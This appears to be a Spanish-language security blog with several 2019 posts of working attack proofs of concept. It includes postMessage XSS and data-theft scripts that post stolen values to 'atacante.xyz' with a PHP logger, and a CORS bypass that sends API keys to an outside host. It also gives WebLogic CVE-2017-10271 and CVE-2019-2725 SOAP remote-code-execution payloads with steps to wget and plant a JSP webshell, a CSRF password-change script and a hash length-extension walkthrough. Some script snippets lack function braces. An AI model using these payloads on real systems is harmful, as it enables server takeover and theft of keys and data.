martes, 11 de junio de 2019

xss Via PostMessage

Poc ejemplo xss PostMessage, id y value deben cambiarse dependiendo de el codigo de postMessage.

<a href="#" onclick="xss()">click me</a>
<script>
function xss() {
    var win = window.open('http://victima.com/', '_blank');
    setTimeout(function() {
    win.postMessage({"id":1,"value":"<img src=x onerror=alert(document.domain)>"}, '*');
    }, 1000);
}
</script>

postMessage Robo de Datos + Guardado en archivo log

El siguiente es un Poc para robo de datos utilizando postMessage:

<script>
  function listener(event) {
    //alert(event.data.value);
    var str = event.data.value;
    var xmlhttp; 
    if (window.XMLHttpRequest) 
      { 
          xmlhttp=new XMLHttpRequest(); 
      } 
        else 
      { 
          xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); 
      }

      params = "keys="+str; 
      xmlhttp.open("POST","http://atacante.xyz/postMessage.php",false); 
      xmlhttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); 
      xmlhttp.setRequestHeader("Accept-Language","es-MX,es;q=0.8,en-US;q=0.5,en;q=0.3"); 
      xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); 
      xmlhttp.send(params); 

  }

  var dest = window.open("http://vulnerable.com/keys");

  window.addEventListener("message", listener);
</script>

<?php
 if(isset($_POST['keys'])){
  $cookie = $_POST['keys'];
  $steal = fopen("log.txt", "a");
  fwrite($steal, $cookie ."\n"); //<---- Must be $cookie instead of $name
  fclose($steal);
 }

?>

Informacion sobre esto: https://github.com/EdOverflow/bugbountywiki/wiki/postMessage-issues

CORS Bypass 2 - Guardando Resultados en Archivo

<!DOCTYPE html> 
<html> 
<head> 
<script> 
function hack() 

    var xmlhttp; 
    if (window.XMLHttpRequest) 
      { 
          xmlhttp=new XMLHttpRequest(); 
      } 
        else 
      { 
          xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); 
      } 
        xmlhttp.open("POST","http://api-xdxdxdxd/api/v1/keys",false); 
        xmlhttp.withCredentials = true; 
        xmlhttp.send(null); 
    if(xmlhttp.status==200) 
    { 
        var str = document.getElementById("demo").innerHTML = xmlhttp.responseText;
        params = "keys="+str; 
        xmlhttp.open("POST","http://poc.xyz/poc_cors.php",false); 
        xmlhttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); 
        xmlhttp.setRequestHeader("Accept-Language","es-MX,es;q=0.8,en-US;q=0.5,en;q=0.3"); 
        xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); 
        xmlhttp.send(params); 
    } 

</script> 
</head> 
<body onload="hack();"> 
<div id="demo"></div>
</body> 
<?php
if(isset($_POST['keys'])){
$cookie = $_POST['keys'];
$steal = fopen("log.txt", "a");
fwrite($steal, $cookie ."\n"); //<---- Must be $cookie instead of $name
fclose($steal);
}
?>
</html>

jueves, 9 de mayo de 2019

WebLogic CVE-2019-2725/CNVD-C-2019-48814


Instalación de maquina vulnerable:

1.- sudo docker pull vulhub/weblogic

2.- sudo docker run -dit -p 7001:7001 vulhub/weblogic

Descripcion:

Oracle WebLogic Server es un middleware para implementar y administrar aplicaciones web. Un atacante podría enviar una solicitud a un servidor WebLogic, que luego se comunicaría con un host malicioso para completar la solicitud, abriendo el servidor WebLogic a un ataque RCE.

Impacto:

Los ataques exitosos de esta vulnerabilidad pueden resultar en la toma de control de Oracle WebLogic Server.

URLs Posibles:

/_async/AsyncResponseService
/_async/AsyncResponseServiceHttps

/_async/AsyncResponseServiceJms

Vector de ataque para Linux:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
        <soapenv:Header>
        <wsa:Action>xx</wsa:Action>
        <wsa:RelatesTo>xx</wsa:RelatesTo>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <void class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
        <void index="0">
        <string>/bin/bash</string>
        </void>
        <void index="1">
        <string>-c</string>
        </void>
        <void index="2">
        <string>ping xxx.burpcollaborator.net</string>
        </void>
        </array>
        <void method="start"/></void>
        </work:WorkContext>
        </soapenv:Header>
        <soapenv:Body>
        <asy:onAsyncDelivery/>
        </soapenv:Body></soapenv:Envelope>

Vector de ataque para windows:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
        <soapenv:Header>
        <wsa:Action>xx</wsa:Action>
        <wsa:RelatesTo>xx</wsa:RelatesTo>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <void class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
        <void index="0">
        <string>cmd</string>
        </void>
        <void index="1">
        <string>/c</string>
        </void>
        <void index="2">
        <string>ping xxx.burpcollaborator.net</string>
        </void>
        </array>
        <void method="start"/></void>
        </work:WorkContext>
        </soapenv:Header>
        <soapenv:Body>
        <asy:onAsyncDelivery/>
        </soapenv:Body></soapenv:Envelope>


Pasos a Realizar:

Se ejecutaron pruebas de seguridad con los dos vectores de ataques para windows y linux en todos los puntos finales (URLs posibles) posibles en la aplicacion.

1.- Enviar los payloads a todos los posibles puntos finales de la aplicacion y ver si burp collaborator atrapa el ping enviado.



2.- En caso de responder y ser vulnerable, utilizar el siguiente comando entre <string>tucomando</string>


ls -la > servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/favicon.ico


3.- Accedemos a la siguiente ruta: http://HOSTVULNERABLE/_async/favicon.ico


Solución:


Actualizar para aplicar el parche de esta vulnerabilidad.

miércoles, 8 de mayo de 2019

WebLogic CVE-2017-10271

Instalacion para POC:

1.- sudo docker pull zhiqzhao/ubuntu_weblogic1036_domain
2.- sudo docker run -d -p7001:7001 -p80:7001 zhiqzhao/ubuntu_weblogic1036_domain

Descripcion:

Vulnerabilidad en el componente Oracle WebLogic Server de Oracle Fusion Middleware (subcomponente: WLS Security). Las versiones compatibles que se ven afectadas son 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 y 12.2.1.2.0. Una vulnerabilidad fácilmente explotable permite que un atacante no autenticado con acceso a la red a través de T3 ponga en peligro el servidor webLogic de Oracle.

Impacto:

Los ataques exitosos de esta vulnerabilidad pueden resultar en la toma de control de Oracle WebLogic Server.

URLs Posibles:

/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11

Vector de Ataque Para Linux:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java>
        <object class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>/bin/sh</string>
            </void>
            <void index="1">
              <string>-c</string>
            </void>
            <void index="2">
              <string>ping xxxx.burpcollaborator.net</string>
            </void>
          </array>
          <void method="start"/>
        </object>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

Vector de Ataque para Windows:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java>
        <object class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>cmd</string>
            </void>
            <void index="1">
              <string>/c</string>
            </void>
            <void index="2">
              <string>ping xxx.burpcollaborator.net</string>
            </void>
          </array>
          <void method="start"/>
        </object>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

Pasos a seguir:

Se ejecutaron pruebas de seguridad con los dos vectores de ataques para windows y linux en todos los puntos finales (URLs posibles) posibles en la aplicacion.

1.- Enviar los payloads a todos los posibles puntos finales de la aplicacion y ver si burp collaborator atrapa el ping enviado.


2.- En caso de responder y ser vulnerable, utilizar el siguiente comando entre <string>tucomando</string>

/usr/bin/wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp;mv cmd.jsp servers/AdminServer/tmp/_WL_internal/bea_wls_internal/*/war


3.- Accedemos a la siguiente ruta: http://HOSTVULNERABLE/bea_wls_internal/cmd.jsp


Solución:

Actualizar para aplicar el parche de esta vulnerabilidad.

lunes, 14 de enero de 2019

CORS Bypass

Un CORS mal configurado nos permite ataques tipos CSRF, Obtener datos privados y mas. Aqui les dejo una entrada de CORS:

https://arthusu.blogspot.com/2018/08/cors-mal-configurado-intercambio-de.html

Y un ejemplo de Bypass CSRF:

<!DOCTYPE html> 

<html> 

<head> 

<script> 

function hack() 



    var xmlhttp; 

    if (window.XMLHttpRequest) 

      { 

          xmlhttp=new XMLHttpRequest(); 

      } 

        else 

      { 

          xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); 

      } 

        xmlhttp.open("GET","http://192.168.239.141/index.php",false); 

        xmlhttp.withCredentials = true; 

        xmlhttp.send(null); 

    if(xmlhttp.status==200) 

    { 

        var str=xmlhttp.responseText; 

        console.log(str); 

        var n=str.search("token"); 

        var c=str.substring(n+14,n+46); 

         

        params = "token="+c+"&password=12345&password_again=12345"; 

  

        xmlhttp.open("POST","http://192.168.239.141/index.php",false); 

        xmlhttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); 

        xmlhttp.setRequestHeader("Accept-Language","es-MX,es;q=0.8,en-US;q=0.5,en;q=0.3"); 

        xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); 

        xmlhttp.withCredentials = true; 

        xmlhttp.send(params); 

    } 



</script> 

</head> 

<body onload="hack();"> 

</body> 

</html>



Ataque de extension de longitud

¿Que es?

En criptografía y seguridad informática, un ataque de extensión de longitud es un tipo de ataque en el que un atacante puede usar el hash y la longitud del mensaje, para calcular el hash de un mensaje controlado por el atacante. 

Código de ejemplo:



Uso:

?user  - pedimos la firma para el usuario


?admin - pedimos la firma para el administrador

?sig=xxxx&type=user – donde sig es la firma obtenida y el type el tipo de usuario 


En caso de que la palabra no coincida con la firma generada nos va mostrar un mensaje de error. 


?sig=xxx&type=admin – nos muestra el usuario administrador 

Explotación 

Haremos uso de un script: 




Hash extender en este caso soporta los siguientes hashes para su explotación: 

CRC32, MD5, SHA1, SHA256 y SHA512 


Introducimos el hash: 38f7e2f0c5eba427ed6b4b47f24814ea (en mi caso es este) y damos clic en enviar 


Generamos una nueva firma

arthusu@SEGINF-RED03:/mnt/c/users/jaesoto/hash_extender$ ./hash_extender -f md5 -s 38f7e2f0c5eba427ed6b4b47f24814ea  --data 'user' --append ':admin' --secret-min=7 --secret-max=33 --out-data-format=html 

Type: md5 

Secret length: 7 

New signature: 12005b20185a5b3feb166cf9017ffa56 

New string: user%80X%3aadmin 

  

Type: md5 

Secret length: 8 

New signature: 12005b20185a5b3feb166cf9017ffa56 

New string: user%80%60%3aadmin 

  

Type: md5 

Secret length: 9 

New signature: 12005b20185a5b3feb166cf9017ffa56 

New string: user%80h%3aadmin 

  

Type: md5 

Secret length: 10 

New signature: 12005b20185a5b3feb166cf9017ffa56 

New string: user%80p%3aadmin 

  

Type: md5 

Secret length: 11 

New signature: 12005b20185a5b3feb166cf9017ffa56 

New string: user%80x%3aadmin 

  

...

Type: md5 

Secret length: 31 

New signature: 12005b20185a5b3feb166cf9017ffa56 

New string: user%80%18%01%3aadmin 

  

Type: md5 

Secret length: 32 

New signature: 12005b20185a5b3feb166cf9017ffa56 

New string: user%80+%01%3aadmin 

  

Type: md5 

Secret length: 33 

New signature: 12005b20185a5b3feb166cf9017ffa56 

New string: user%80%28%01%3aadmin 



Donde los parámetros son los siguientes: 

-f xxx le indicamos el tipo de hash 

-s xxxx le indicamos la firma que tenemos valida 

--data 'xxx' le indicamos el dato conocido en este caso user 

--append 'xxx' le indicamos el dato que queremos agregarle en este caso :admin con dos puntos por el explode en este caso  

--out-data-format=xxx le indicamos el formato de salida que le va dar 

--secret-min=numero le indicamos un numero de tamaño para el secreto como minimo 

--secret-max=numero le indicamos un numero de tamaño para el secreto como maximo 



El secreto es en lo que se basa este ataque el tamaño del mismo como en este caso hipotéticamente no sabemos su tamaño (aunque si sabemos que la $signature tiene 32 caracteres el tamaño 😉 ) entonces generamos un rango en este caso del 7 al 33 y comenzamos a probar... 1 por 1. 


Para realizar la prueba con hashpump lo hacemos de la siguiente manera: 


arthusu@SEGINF-RED03:~$ hashpump 

Input Signature: 38f7e2f0c5eba427ed6b4b47f24814ea 

Input Data: :user 

Input Key Length: 32 

Input Data to Add: :admin 

12005b20185a5b3feb166cf9017ffa56 

:user\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x01\x00\x00\x00\x00\x00\x00:admin 



Como vemos ingresamos la firma con la comenzamos 38f7e2f0c5eba427ed6b4b47f24814ea 

Despues el dato con el que comenzamos user 

Y el tamaño de la firma en este caso 32 

Por ultimo el input agregar es :admin el cual esta en un explode por eso : sino fuera el caso no se agrega 



Nos da una nueva firma: 12005b20185a5b3feb166cf9017ffa56 

Y un payload: :user\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x01\x00\x00\x00\x00\x00\x00:admin 



El cual transformamos \x a % quedando asi:  


user%80(%01:admin

Al ejecutar el payload nos da el resultado correcto. 


Conclusión: 


Estas vulnerabilidades existen realmente en las aplicaciones web, un ejemplo claro de ello lo podemos encontrar en: https://hackerone.com/reports/251572 

Les dejo su formato en PDF ya que los nullbytes no se aprecian correctamente en la entrada:
https://www.mediafire.com/file/yaq1eka7yahtvwg/ataque_extension_de_longitud.pdf/file